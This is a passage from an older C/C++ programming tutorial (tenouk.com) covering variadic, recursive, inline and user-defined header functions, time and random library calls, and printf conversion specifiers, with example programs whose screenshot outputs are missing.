Macro: void va_end (va_list ap)


This ends the use of ap. After a va_end call, further va_arg calls with the same ap may not
work. You should invoke va_end before returning from the function in which va_start was
invoked with the same ap argument.

4.8.4.8 Program Example of a Variadic Function

- The following is an example of a function that accepts a variable number of arguments. The first
argument to the function is the count of remaining arguments, which are added up and the result
returned.
- This example just to illustrate how to use the variable arguments facility.

/*variadic function*/
#include <stdarg.h>
#include <stdio.h>

/*variadic function's prototype, count variable


is the number of arguments*/
int sum_up(int count,...)
{
va_list ap;
int i, sum;
/*Initialize the argument list.*/
va_start (ap, count);

sum = 0;
for (i = 0; i < count; i++)
/*Get the next argument value.*/
sum += va_arg (ap, int);
/*Clean up.*/
va_end (ap);
return sum;
}

int main(void)
{
/*This call prints 6.*/
printf("%d\n", sum_up(2, 2, 4));

/*This call prints 16.*/


printf("%d\n", sum_up(4, 1, 3, 5, 7));
return 0;
}

Output:

www.tenouk.com Page 20 of 41
Program Examples and Experiments

Example #1

//function skeleton example


//passing by values
#include <iostream.h>
#include <stdlib.h>

//function prototypes and their variations...


//notice and remember these variations...
void FunctOne(void);
double FunctTwo();
int FunctThree(int);
void FunctFour(int);

//main program...
void main()
{
cout<<"I'm in main()..."<<endl;

//function call, go to FunctOne without


//any argument...
FunctOne();
cout<<"\nBack in main()..."<<endl;

//function call, go to FunctTwo


//without any argument...
double q = FunctTwo();
//display the returned value...
cout<<"The returned value = "<<q<<endl;

//function call, go to FunctThree


//with an argument...
int y = 100;
int x = FunctThree(y);
cout<<"Back in main()..."<<endl;
//display the returned value...
cout<<"Display the returned value = "<<x<<endl;
int r = 50;
FunctFour(r);

system("pause");
return; //return nothing or just omit this 'return;' statement
}

void FunctOne()
{
//do nothing here just display the
//following text...
cout<<"\nNow I'm in FunctOne()!..."<<endl;
cout<<"Receives nothing, return nothing..."<<endl;
//return to main, without any returned value
//return; optionally can put this empty 'return;'
}

double FunctTwo()
{
//receive nothing but do some work here...
double p = 10.123;
cout<<"\nNow I'm in FunctTwo()!\nmay do some work here..."
<<"\nReceives nothing but return something"
<<"\nto the calling function..."<<endl;
//and return something...
return p;
}

int FunctThree(int z)
{
//receive something...do some work...
//and return the something...

www.tenouk.com Page 21 of 41
int a = z + 100;
cout<<"\nThen, in FunctThree()!..."<<endl;
cout<<"Receive something from calling function\ndo some work here and"
<<"\nreturn something to the calling function...\n"<<endl;
//then return to main, with return value
return a;
}

void FunctFour(int s)
{
//received something but return nothing...
int r = s - 20;

cout<<"\nNow, in FunctFour()..."<<endl;
cout<<"Received something, but return nothing..."<<endl;
cout<<"The value processed = "<<r<<endl;
//return; optionally can put this empty 'return;'
}

Output:

Example #2

//demonstrates the use of function prototypes


#include <iostream.h>
#include <stdlib.h>

typedef unsigned short USHORT;


//another method simplifying type identifier using typedef
//the words unsigned short is simplified to USHORT

USHORT FindTheArea(USHORT length, USHORT width);


//function prototype

int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;

cout<< "\nThe wide of your yard(meter)? ";


cin>> widthOfYard;
cout<< "\nThe long of your yard(meter)? ";
cin>> lengthOfYard;

areaOfYard = FindTheArea(lengthOfYard, widthOfYard);

cout<< "\nYour yard is ";

www.tenouk.com Page 22 of 41
cout<< areaOfYard;
cout<< " square meter\n\n";
system("pause");
return 0;
}

USHORT FindTheArea(USHORT l, USHORT w)


{
return (l * w);
}

Output:

Example #3 Function Prototype (cannot be run)

long FindArea(long length, long width); // returns long, has two parameters
void PrintMessage(int messageNumber); // returns void, has one parameter
int GetChoice(); // returns int, has no parameters
char BadFunction(); // returns char, has no parameters

Example #4 Function Definition (cannot be run)

long Area(long l, long w)


{
return (l * w);
}

void PrintMessage(int whichMsg)


{
if (whichMsg == 0)
cout << "Hello.\n";
if (whichMsg == 1)
cout << "Goodbye.\n";
if (whichMsg > 1)
cout << "I'm confused.\n";
}

Example #5 The use of local variable and parameters

#include <iostream.h>
#include <stdlib.h>

//function prototype
float Convert(float);

int main()
{
float TempFer;
float TempCel;

cout<<"Please enter the temperature in Fahrenheit: ";


cin>>TempFer;

TempCel = Convert(TempFer);
cout<<"\n";
cout<<TempFer<<" Fahrenheit = "<<TempCel<<" Celcius"<<endl;
system("pause");
return 0;
}

//function definition
float Convert(float TempFer)

www.tenouk.com Page 23 of 41
{
//local variable....
float TempCel;

TempCel = ((TempFer - 32) * 5) / 9;


//return the result to the calling program
return TempCel;
}

Output:

Example #6 Demonstrating local and global variable

#include <iostream.h>
#include <stdlib.h>

//function prototype
void myFunction();

//global scope variables


int x = 5, y = 7;

int main()
{
cout<<"x = 5, y = 7, global scope\n";
cout<<"\nx within main: "<<x<<"\n";
cout<<"y within main: "<<y<<"\n\n";
cout<<"Then function call....\n";
myFunction();

cout<< "Back from myFunction...\n\n";


cout<< "x within main again: "<<x<<"\n";
cout<< "y within main again: "<<y<<"\n\n";
system("pause");
return 0;
}

void myFunction()
{
//local scope variable
int y = 10;
cout<<"\ny = 10, local scope\n"<<"\n";
cout<<"x within myFunction: "<<x<<"\n";
cout<<"y within myFunction: "<<y<<"\n\n";
}

Output:

www.tenouk.com Page 24 of 41
Example #7 Variable scope within a block

//demonstrates variables
//scope within a block
#include <iostream.h>
#include <stdlib.h>

//function prototype
void myFunc();

int main()
{
int x = 5;
cout<<"\nIn main x is: "<<x;

myFunc();
cout<<"\nBack in main, x is: "<<x<<endl;
system("pause");
return 0;
}

void myFunc()
{
//local scope variable
int x = 8;

cout<<"\nWithin myFunc, local x: "<<x<<endl;


{
cout<<"\nWithin block in myFunc, x is: "<<x;
//Another local variable, within block
int x = 9;
cout<<"\nVery local x: "<<x;
}

cout<<"\nOut of block, in myFunc, x: "<<x<<endl;


}

Output:

www.tenouk.com Page 25 of 41
Example #8

//demonstrates passing by value


//to function
#include <iostream.h>
#include <stdlib.h>

//function prototype
void swap(int x, int y);

int main()
{
int x = 5, y = 10;
cout<<"In main. Before swap, x: "<<x<<" y: "<<y<<"\n";
cout<<"\nThen calling function swap(x, y)...\n";
swap(x, y);
cout<<"\n...back to main. After swap, x: "<<x<<" y: "<<y<<"\n";
system("pause");
return 0;
}

void swap(int x, int y)


{
int temp;
cout<<"\nIn swap function, confirm before swapping, x: "<<x<<" y: "<< y << "\n";
temp = x;
x = y;
y = temp;
cout<<"In swap function. After swapping, x: "<<x<<" y: "<<y<<"\n";
}

Output:

Example #9

//Demonstrates multiple return


//statements

#include <iostream.h>
#include <stdlib.h>

//function prototype
long int Doubler(long int AmountToDouble);

long int main()


{
long int result = 0;
long int input;

cout<<"Enter a number to be doubled: ";


cin>>input;
cout<<"\nBefore Doubler() is called... ";
cout<<"\ninput: "<<input<<" doubled: "<<result<<"\n";

result = Doubler(input);

cout<<"\nBack from Doubler()...\n";


cout<<"\ninput: " <<input<< " doubled: "<<result<<"\n";
cout<<"Re run this program, input > 10000, see the output...\n";
system("pause");
return 0;

www.tenouk.com Page 26 of 41
}

long int Doubler(long int original)


{
if (original <= 10000)
return (original * 2);
else
{
cout<<"Key in less than 10000 please!\n";
return -1;
}
}

Output:

Example #10

//Demonstrates the use of


//default parameter values
#include <iostream.h>
#include <stdlib.h>

//function prototype
//width = 25 and height = 1, are default values
int AreaOfCube(int length, int width = 25, int height = 1);

int main()
{
//Assigning new values
int length = 100;
int width = 50;
int height = 2;
int area;

area = AreaOfCube(length, width, height);

cout<<"First time function call, area = "<<area<<"\n";

area = AreaOfCube(length, width);


//height = 1, default value
cout<<"Second time function call, area = "<<area<<"\n";

area = AreaOfCube(length);
//width = 25, height = 1, default values
cout<<"Third time function call, area = "<<area<<"\n";
system("pause");
return 0;
}

AreaOfCube(int length, int width, int height)


{
return (length * width * height);
}

Output:

www.tenouk.com Page 27 of 41
Example #11

//Demonstrates inline functions


#include <iostream.h>
#include <stdlib.h>

//inline function, no need prototype here


//directly declares and defines the function
inline int Doubler(int target)
{return (2*target);}

int main()
{
int target;

cout<<"Enter a number to work with: ";


cin>>target;
cout<<"\n";

target = Doubler(target);
cout<<"First time function call, Target: "<<target<<endl;

target = Doubler(target);
cout<<"Second time function call, Target: "<<target<<endl;

target = Doubler(target);
cout<<"Third time function call, Target: "<<target<<endl;
system("pause");
return 0;
}

Output:

Example #12

//simple random number function generator...


#include <iostream.h>
#include <stdlib.h>
#include <dos.h>

int main()
{
int i;

cout<<"Ten random numbers from 0 to 99\n\n";


for(i=0; i<10; i++)
{
//random number function generator
cout<<rand()%100<<" ";
//let have 2 seconds delay...
sleep(2);
}
cout<<endl;
system("pause");
return 0;

www.tenouk.com Page 28 of 41
}

Output:

Example #13 – Using Functions In User Defined Header file

- This part will show you the process of defining function, storing in header files and using this function
and header file.
- Assume that we want to create simple functions that do the basic calculation: addition, subtraction,
division and multiplication of two operands.
- Firstly, we create the main() program, then we create header file named arithmet.h to store these
frequently used function.
- Note the steps of this simple program development. Firstly we create a simple program skeleton.
Compile and run. Make sure there is no error; warning is OK because this just as an exercise.

//user defined function and header file


//Simple arithmetic functions
#include <iostream.h>
#include <stdlib.h>

//function prototype
float AddNum(float, float);

//main program
void main(void)
{
cout<<"The function body..."<<endl;
cout<<"This just program skeleton..."<<endl;
system("pause");
}

//Function definition
float AddNum(float , float)
{
float x = 0;
return x;
}

Output:

- Next, add other functionalities.

//user defined function and header file


//Simple arithmetic functions

#include <iostream.h>
#include <stdlib.h>

//function prototype
float AddNum(float, float);

void main(void)
{
//global (to this file) scope variables
float p, q, r;

www.tenouk.com Page 29 of 41
//Prompt for user input
cout<<"Enter two numbers separated by space: "<<endl;
cin>>p>>q;

//function call
r = AddNum(p, q);

//Display the result


cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;
system("pause");
}

//Function definition
float AddNum(float p, float q)
{
return (p + q);
}

- Then, compile and run this program.

- Next, if there is no error, we add other functionalities to complete our program.

//user defined function and header file


//Simple arithmetic functions

#include <iostream.h>
#include <stdlib.h>

//function prototypes
float AddNum(float, float);
float SubtractNum(float, float);
float DivideNum(float, float);
float MultiplyNum(float, float);

void main(void)
{
//local (to this file) scope variables
float p, q, r, s, t, u;
//Prompt for user input
cout<<"Enter two numbers separated by space: "<<endl;
cin>>p>>q;

//Function call
r = AddNum(p, q);
s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);

//Display the result and quit


cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;
cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;
cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;
cout<<"Press Enter key to quit."<<endl;
system("pause");
}

//Function definition
float AddNum(float p, float q)
{
return (p + q);
}

float SubtractNum(float p, float q)


{

www.tenouk.com Page 30 of 41
return (p - q);
}

float DivideNum(float p, float q)


{
//do some checking here to avoid divide by 0
if (q == 0)
return 0;
else
return (p / q);
}

float MultiplyNum(float p, float q)


{
return (p * q);
}

- Re compile and re run.

- Our next task is to create header file, let named it arithmet.h and put all the function declaration
and definition in this file and save it in same folder as the main program.
- No need to compile or run this file, just make sure no error here.

//user defined function and header file


//Simple arithmetic functions
//arithmet.h header file, no need to compile or run.
//The variable also has been change to x and y respectively.
//The important one are parameter type, number and return type must
//be matched

#include <iostream.h>
#include <stdlib.h>

float x, y;

//Function prototypes
float AddNum(float, float);
float SubtractNum(float, float);
float DivideNum(float, float);
float MultiplyNum(float, float);

float AddNum(float x, float y)


{
return (x + y);
}

float SubtractNum(float x, float y)


{
return (x - y);
}

float DivideNum(float x, float y)


{
//Divide by 0 check
if(y==0)
return 0;
else
return (x / y);
}

float MultiplyNum(float x, float y)


{
return (x * y);

www.tenouk.com Page 31 of 41
}

- Now, our new main() program becomes:

//user defined function and header file


//Simple arithmetic functions
//New main program

#include <iostream.h>
#include <stdlib.h>
#include "arithmet.h" //notice this!

//global variables, need external access


float p, q;

void main(void)
{
//local scope (to this file) variables…
int r, s, t, u;

cout<<"Enter two numbers separated by space: "<<endl;


cin>>p>>q;

r = AddNum(p, q);
s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);

cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;


cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;
cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;
system("pause");
}

- Compile and run this main program, you will get the same output but this main() program is simpler
and our header file arithmet.h can be reusable.

- The following program example is a partial function call.

//user defined function and header file


//Simple arithmetic functions
//New main program with partial function call

#include <iostream.h>
#include <stdlib.h>
#include "arithmet.h"

//global variable need access from external


float p, q;

void main(void)
{

//local scope (to this file) variables…


int t, u;

cout<<"Enter two numbers separated by space: "<<endl;


cin>>p>>q;

//r = AddNum(p, q);


//s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);

www.tenouk.com Page 32 of 41
//cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;
//cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;
cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;
system("pause");
}

Output:

- By storing the preprocessor directive #include "arithmet.h" under the C:\BC5\INCLUDE


(Borland® C++ - the default INCLUDE folder or subfolder – you have to check your compiler
documentation), you can enclose the header file in the normal angle brackets < >.

//user defined function and header file


//Simple arithmetic functions
//New main program

#include <iostream.h>
#include <stdlib.h>
#include <arithmet.h>
//using <arithmet.h> instead of "arithmet.h"

//global variables need access from external


float p, q;

void main(void)
{
//local scope (to this file) variable
int t, u;

cout<<"Enter two numbers separated by space: "<<endl;


cin>>p>>q;

//r = AddNum(p, q);


//s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);

//cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;


//cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;
cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;
system("pause");
}

Output:

- If we want to add functionalities, add them in header file once and then, it is reusable.
- How to debug the functions if you have to create many independent functions stored in many header
files other than directly include the functions in our main program?
- Firstly create the function with their own specific task independently as main() program, compile and
run the main() function independently.

www.tenouk.com Page 33 of 41
- Then, when you have satisfied with the result of the independent main() program, convert each
main() program to respective function and call all the functions from one main() program.
- The main problems encountered here normally related to the passing the improper arguments, returning
the improper value, mismatch types and variables scope.
- Remember that the main() program just a normal function but with execution point.

Example #14 – Recursive function

- We cannot define function within function, but we can call the same function within that function. A
recursive function is a function that calls itself either directly or indirectly through another function.
- Classic example for recursive function is factorial, used in mathematics.
- For example:

//Demonstrates recursive function


//recursive factorial function
//the formula, n! = n*(n-1)!

#include <iostream.h>
#include <stdlib.h>

//function prototype, receive long type


//return also long type
long factor(long);

int main()
{
int p;
cout<<"Calculating factorial using recursive function"<<endl;
cout<<"----------------------------------------------\n"<<endl;

//Let do some looping for 10 numbers


for(p = 1; p<10; p++)
cout<<p<<"! = "<<p<<"*("<<(p-1)<<")!"<<" = "<<factor(p)<<"\n";

system("pause");
return 0;
}

//Recursive function definition


long factor(long number)
{
//For starting number, that <= 1, factorial = 1
if(number<=1)
return 1;
//number > 1
else
//return and call itself
return (number * factor(number-1));
}

Output:

Example #15 – Another recursive function

- Another example using recursive function, Fibonacci.

www.tenouk.com Page 34 of 41
//Demonstrates recursive Fibonacci function
//the formula, fibonacci(n) = fibonacci(n-1)+fibonacci(n-2)

#include <iostream.h>
#include <stdlib.h>

long fibonacci(long);

int main()
{
int p;
cout<<"Simple fibonacci using recursive function"<<endl;
cout<<"-----------------------------------------\n"<<endl;

//looping for 15 numbers


for(p = 0; p<30; p=p+2)
cout<<"Fibonacci("<<p<<") = "<<fibonacci(p)<<"\n";
system("pause");
return 0;
}

//Recursive fibonacci function definition


long fibonacci(long number)
{
//For starting number, 0, 1, fibonacci = number
if(number == 0 || number == 1)
return number;
//other number...
else
//return and call itself
return (fibonacci(number-1) + fibonacci(number-2));
}

Output:

Example #16 – Using predefined function

//rand() and random() from stdlib.h


#include <stdio.h>
#include <stdlib.h>

int main()
{
int c;

//generating random number


printf("10 random numbers:\n");
for(c = 0; c <10; c++)
printf("%d ", rand());
printf("\n");

//num has a value between 0 and 99


int num = random(100);
printf("\nRandom number less than 100 = %d\n", num);

www.tenouk.com Page 35 of 41
//using lower bound and upper bound
int num1 = 200 + random(700-200);
printf("\nRandom number between 200 700 = %d\n", num1);

//floating-point random numbers...


float num3 = rand()/33000.0;
printf("\nfloating-point random number = %f\n", num3);

//floating-point random numbers...


printf("\nAnother floating-point random numbers:\n");
for(c = 0; c <10; c++)
printf("%f\n", rand()/33000.0);
printf("\n");
system("pause");
return 0;
}

Output:

Example #17 – Using predefined function

//Simple time and date…


#include <stdio.h>
//for time and date
#include <time.h>
//for sleep()
#include <dos.h>

int main(void)
{
struct tm *time_now;
time_t secs_now;
time_t t;
char str[80];

time(&t);
//dispaly current time and date...
//using ctime()
printf("Today's date and time: %s", ctime(&t));

//Formatting time for output...


//using strftime()
tzset();
time(&secs_now);
time_now = localtime(&secs_now);
strftime(str, 80,"It is %M minutes after %I o'clock, %A, %B %d 20%y", time_now);
printf("%s\n", str);

//Computes the difference between two times...


//using difftime()

www.tenouk.com Page 36 of 41
time_t first, second;
//Gets system time
first = time(NULL);
//Waits 5 secs
sleep(5);
//Gets system time again
second = time(NULL);
printf("The difference is: %f seconds\n", difftime(second, first));

//wait for 10 seconds...


sleep(10);
return 0;
}

Output:

Example #18 – Using predefined function

//Converts the date and time to Greenwich Mean Time (GMT)


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <dos.h>

//Pacific Standard Time & Daylight Savings


char *tzstr = "TZ=PST8PDT";

int main(void)
{
time_t t;
struct tm *gmt, *area;

putenv(tzstr);
tzset();

t = time(NULL);
area = localtime(&t);
printf("The local time is: %s", asctime(area));
gmt = gmtime(&t);
printf("The GMT is: %s", asctime(gmt));
//wait 10 seconds...
sleep(10);
return 0;
}

Output:

Example #19 – Using predefined function

//Converting time to calendar format...


//checking the day...
#include <stdio.h>
#include <time.h>
//for sleep()
#include <dos.h>

char *wday[] = {"Sunday", "Monday", "Tuesday", "Wednesday",


"Thursday", "Friday", "Saturday", "Unknown"};

www.tenouk.com Page 37 of 41
int main()
{
struct tm time_check;
int year, month, day;

printf("WHAT DAY?...Enter any year, month and day\n");


printf("Year format-YYYY, Month format-MM, Day format-DD\n");
//Input a year, month and day to find the weekday for...
printf("Year: ");
scanf("%d", &year);
printf("Month: ");
scanf("%d", &month);
printf("Date: ");
scanf("%d", &day);

//load the time_check structure with the data


time_check.tm_year = year - 1900;
time_check.tm_mon = month - 1;
time_check.tm_mday = day;
time_check.tm_hour = 0;
time_check.tm_min = 0;
time_check.tm_sec = 1;
time_check.tm_isdst = -1;

//call mktime() to fill in the weekday field of the structure...


if(mktime(&time_check) == -1)
time_check.tm_wday = 7;

//print out the day of the week...


printf("That day is a %s\n", wday[time_check.tm_wday]);
sleep(10);
return 0;
}

Output:

Program example compiled using VC++ and VC++ .Net compiler.

#include <cstdio>
#include <ctime>

int main(void)
{
struct tm *time_now;
time_t secs_now;
time_t t;
char str[80];

time(&t);
//dispaly current time and date...
//using ctime()
printf("Today's date and time: %s\n", ctime(&t));

//Formatting time for output...


//using strftime()
tzset();
time(&secs_now);
time_now = localtime(&secs_now);
strftime(str, 80,"It is %M minutes after %I o'clock, %A, %B %d 20%y\n", time_now);
printf("%s\n", str);

//Computes the difference between two times...


//using difftime()
time_t first, second;
//Gets system time
first = time(NULL);
//Waits 5 secs

www.tenouk.com Page 38 of 41
getchar();
//Gets system time again
second = time(NULL);
printf("The difference is: %f seconds\n", difftime(second, first));

//wait for 10 seconds...


getchar();
return 0;
}

Output:

ModuleZ, Section Z.5 discusses the relationship between function call and memory allocation (stack
frame).
The following are program examples compiled using gcc.

/***function skeleton example, function.c***/


#include <stdio.h>

/*function prototypes and their variations...*/


/*IN C++ it is required by standard*/
/*notice and remember these variations...*/
void FunctOne(void);
double FunctTwo();
int FunctThree(int);
void FunctFour(int);

/*main program...*/
int main()
{
printf("-----PLAYING WITH A FUNCTION-----\n");
printf("All call by value ONLY!!!\n");
printf("Starting: I'm in main()...\n");

/*function call, go to FunctOne without*/


/*any argument...*/
FunctOne();
printf("\nBack in main()...\n");

/*function call, go to FunctTwo()*/


/*without any argument...*/
double q = FunctTwo();
printf("Back in main()...\n");
/*display the returned value...*/
printf("The returned value = %.4f\n", q);

/*function call, go to FunctThree*/


/*with an argument...*/
int y = 100;
int x = FunctThree(y);
printf("Back in main()...\n");
/*display the returned value...*/
printf("Display the returned value from FunctThree = %d\n", x);
int r = 50;
FunctFour(r);
printf("Finally back in main()...\n");
return 0;
}

void FunctOne()
{
/*do nothing here just display the*/
/*following text...*/
printf("\nNow I'm in FunctOne()!...\n");

www.tenouk.com Page 39 of 41
printf("Receives nothing, return nothing...\n");
/*return to main, without any returned value*/
}

double FunctTwo()
{
/*receive nothing but do some work here...*/
double p = 10.123;
printf("\nNow I'm in FunctTwo()!\nmay do some work here..."
"\nReceives nothing but returns something"
"\nto the calling function...\n");
/*and return something...*/
return p;
}

int FunctThree(int z)
{
/*receive something...do some work...*/
/*and return the something...*/
int a = z + 100;
printf("\nThen, in FunctThree()!...\n");
printf("Receives something from calling function\ndo some work here and"
"\nreturn something to the calling function...\n");
/*then return to main, with return value*/
return a;
}

void FunctFour(int s)
{
/*received something but return nothing...*/
int r = s - 20;
printf("\nNow, in FunctFour()...\n");
printf("Received something, but return nothing...\n");
printf("The value processed here = %d\n", r);
printf("Then within FunctFour, call FunctOne()...\n");
FunctOne();
printf("Back in FunctFour()....\n");
}

[bodo@bakawali ~]$ gcc function.c -o function


[bodo@bakawali ~]$ ./function

-----PLAYING WITH A FUNCTION-----


All call by value ONLY!!!
Starting: I'm in main()...

Now I'm in FunctOne()!...


Receives nothing, return nothing...

Back in main()...

Now I'm in FunctTwo()!


may do some work here...
Receives nothing but returns something
to the calling function...
Back in main()...
The returned value = 10.1230

Then, in FunctThree()!...
Receives something from calling function
do some work here and
return something to the calling function...
Back in main()...
Display the returned value from FunctThree = 200

Now, in FunctFour()...
Received something, but return nothing...
The value processed here = 30
Then within FunctFour, call FunctOne()...

Now I'm in FunctOne()!...


Receives nothing, return nothing...
Back in FunctFour()....
Finally back in main()...

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.

www.tenouk.com Page 40 of 41
2. For this Module purpose, you can check the standard libraries of these various standards of C/C++.
Explore and compare the standard functions and their variation if any in the libraries. You can download
or read online the specification at the following links. (ISO/IEC is covering ANSI and is more general):
i. ISO/IEC 9899 (ISO/IEC 9899:1999) - C Programming languages.
ii. ISO/IEC 9945:2002 POSIX standard.
iii. ISO/IEC 14882:1998 on the programming language C++.
iv. ISO/IEC 9945:2003, The Single UNIX Specification, Version 3.
v. Get the GNU C library information here.
vi. Read online the GNU C library here.

www.tenouk.com Page 41 of 41
MODULE 5
C FORMATTED INPUT/OUTPUT
-----------------------------------------------------
MODULE 18
C++ FORMATTED I/O

My Training Period: hours

Abilities

▪ Able to understand and use the C formatted input/output functions library.


▪ Able to understand and use predefined/built-in functions and their respective header files.
▪ Appreciates other printf() and scanf() family.

5.1 Introduction

- This Module deals with the formatting features of printf(), scanf(), cin and cout, the most
frequently use functions.
- Here, you will learn how to use the predefined functions provided by the header files (standard or non
standard).
- printf() function input data from the standard input stream.
- scanf(), output data to the standard output stream.
- For other functions that use the standard input and standard output are gets(), puts(),
getchar() and putchar(). Keep in mind that some of the functions discussed here are non-
standard.
- We have to include header file stdio.h (C) or iostream.h/iostream (C++) in program to call
these functions.

5.2 Streams

- All input and output is performed with stream.


- Stream is a sequences of characters organized into lines.
- Each line consists of zero or more characters, and end with the newline character.
- When program execution begins, these streams are connected to the program automatically.
- Normally:

1. The standard input stream is connected to the keyboard.


2. The standard output stream is connected to the screen
3. Redirection of no. 1 and 2 to other devices, a third stream, standard error, connected to the
screen. Error messages are output to the standard error stream.

5.3 Formatting output with printf()

- For precise output formatting, every printf() call contains a format control string that describes the
output format.
- The format control string consists of:

1. Conversion specifiers.
2. Flags.
3. Field widths.
4. Precisions.
5. Literal characters.

- Together with percent sign (%), these, form conversion specifications. Function printf() can
perform the following formatting capabilities:

1. Rounding floating-point values to an indicated number of decimal places.


2. Aligning a column of numbers with decimal points appearing one above the other.
3. Right-justification and left-justification of outputs.
4. Inserting literal characters at precise locations in a line of output.
5. Representing floating-point number in exponential format.
6. Representing unsigned integers in octal and hexadecimal format.
7. Displaying all types of data with fixed-size field widths and precisions.

www.tenouk.com Page 1 of 20
- As discussed in Module 4, printf() is a variadic function. It can accept variable number of
arguments. The printf() general form is:

printf (format-control-string, other-arguments);

- For example:

printf("Using Source IP: %s port: %u\n", argv[1], atoi(argv[2]));


printf("\t%.3f\n\t%.3e\n\t%.3g\n\n", f, f, f);

- The format-control-string describes the output format, and other-arguments (optional) correspond to
each conversion specification in the format-control-string.
- Each conversion specification begins with a percent sign (%) and ends with a conversion specifier.

5.4 Printing Integers

- Integer is a whole number, such as 880 or –456, that contains no decimal point.
- Table 5.1 is a summary of an integer conversion specifier.

Conversion
Description
specifier
d Display a signed decimal integer
Display a signed decimal integer. (Note: The i and d specifiers are different
i
when used with scanf().)
o Display an unsigned octal integer.
u Display an unsigned decimal integer.
Display an unsigned decimal integer. x causes the digit 0-9 and the letters A-F
x or X
to be displayed, and x causes the digits 0-9 and a–f to be displayed.
Place before any integer conversion specifier to indicate that a short or long
h or l (letter l)
integer is displayed respectively.

Table 5.1: Integer conversion specifiers

- Let explore through a program example.

//Using the integer conversion specifiers


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Various format for integer printing\n");
printf("-------------------------------------\n");
printf("%d\n", 455);
printf("%i\n", 455); //i same as d in printf()
printf("%d\n", +455);
printf("%d\n", -455);
printf("%hd\n", 32000);
printf("%ld\n", 2000000000L);
printf("%o\n", 455);
printf("%u\n", 455);
printf("%u\n", -455);
//-455 is read by %u and converted to the unsigned
//value 4294966841 by 4 bytes integer
printf("%x\n", 455);
printf("%X\n", 455);
system("pause");
return 0;
}

Output:

www.tenouk.com Page 2 of 20
5.5 Printing Floating-point Number

- Contains the decimal point such as 35.5 or 7456.945.


- Table 5.2 summarizes the floating-point conversion specifiers.

Conversion specifier Description


e or E Display a floating-point value in exponential notation.
f Display floating-point values.
Display a floating-point value in either the floating-point form f or the
g or G
exponential form e ( or E)
Place before any floating-point conversion specifier to indicate that a
l
long double floating-point value is displayed.

Table 5.2: Floating-point conversion specifiers

- Exponential notation is the computer equivalent of scientific notation used in mathematics. For
example, 150.2352 is represented in scientific notation as:

1.502352 x 102

- And is represented in exponential notation as

1.502352E+02 by computer

- So, 150.2352 = 1.502352 x 102 = 1.502352E+02


- E stand for exponent.
- e, E and f will output with 6 digits of precision to the right of the decimal point by default.
- Let try a program example.

//Printing floating-point numbers with


//floating-point conversion specifiers

#include <stdio.h>
#include <stdlib.h>

void main()
{
printf("Printing floating-point numbers with\n");
printf("floating-point conversion specifiers.\n");
printf("Compare the output with source code\n\n");
printf("1. %e\n", 1234567.89);
printf("2. %e\n", +1234567.89);
printf("3. %e\n", -1234567.89);
printf("4. %E\n", 1234567.89);
printf("5. %f\n", 1234567.89);
printf("6. %g\n", 1234567.89);
printf("7. %G\n", 1234567.89);
system("pause");
}

Output:

www.tenouk.com Page 3 of 20
5.6 Printing Strings And Characters

- c and s conversion specifiers are used to print individual characters and strings respectively.
- Conversion specifier c requires a char argument and s requires a pointer to char as an argument.
- s causes characters to be printed until a terminating NULL (‘\0’) character is encountered.
- A program example.

//Printing strings and characters


#include <stdio.h>
#include <stdlib.h>

int main()
{
char character = 'A';
char string[] = "This is a string";
char *stringPtr = "This is also a string";
printf("---------------------------------\n");
printf("---Character and String format---\n");
printf("---------------------------------\n\n");
printf("%c <--This one is character\n", character);
printf("\nLateral string\n");
printf("%s\n", "This is a string");
printf("\nUsing array name, the pointer to the first array's element\n");
printf("%s\n", string);
printf("\nUsing pointer, pointing to the first character of string\n");
printf("%s\n", stringPtr);
system("pause");
return 0;
}

Output:

1.1 Other Conversion Specifiers

- p, n and % are summarized in table 5.3 followed by the program example.

www.tenouk.com Page 4 of 20
Conversion specifier Description
Display a pointer value (memory address) in an implementation
p
defined manner.
Store the number of characters already output in the current
n printf() statement. A pointer to an integer is supplied as the
corresponding argument. Nothing is displayed.
% Display the percent character.

Table 5.3: Other conversion specifiers

//Using the p, n, and % conversion specifiers


#include <stdio.h>
#include <stdlib.h>

int main()
{
int *ptr;
//pointer variable
int x = 12345, y;

ptr = &x;

//assigning address of variable x to variable ptr


printf("\nUsing the p, n, and %% conversion specifiers.\n");
printf("Compare the output with the source code\n");
printf("-----------------------------------------------\n\n");
printf("The value of pointer ptr is %p\n", ptr);
printf("The address of variable x is %p\n\n", &x);
printf("Total characters printed on this line is:%n", &y);
printf(" %d\n\n", y);

y = printf("This line has 28 characters\n");

printf("%d characters were printed\n\n", y);


printf("Printing a %% in a format control string\n");
system("pause");
return 0;
}

Output:

1.2 Printing With Field Widths And Precisions

- A field width determines the exact size of a field in which data is printed.
- If the field width is larger then the data being printed, the data will normally be right-justified within
that field.
- An integer representing the field width is inserted between the percent sign (%) and the conversion
specifier in the conversion specification.
- Function printf() also provides the ability to specify the precision with which data is printed.
- Precision has different meanings for different data types.
- A program example.

//Printing integers right-justified

www.tenouk.com Page 5 of 20
#include <stdio.h>
#include <stdlib.h>

int main()
{
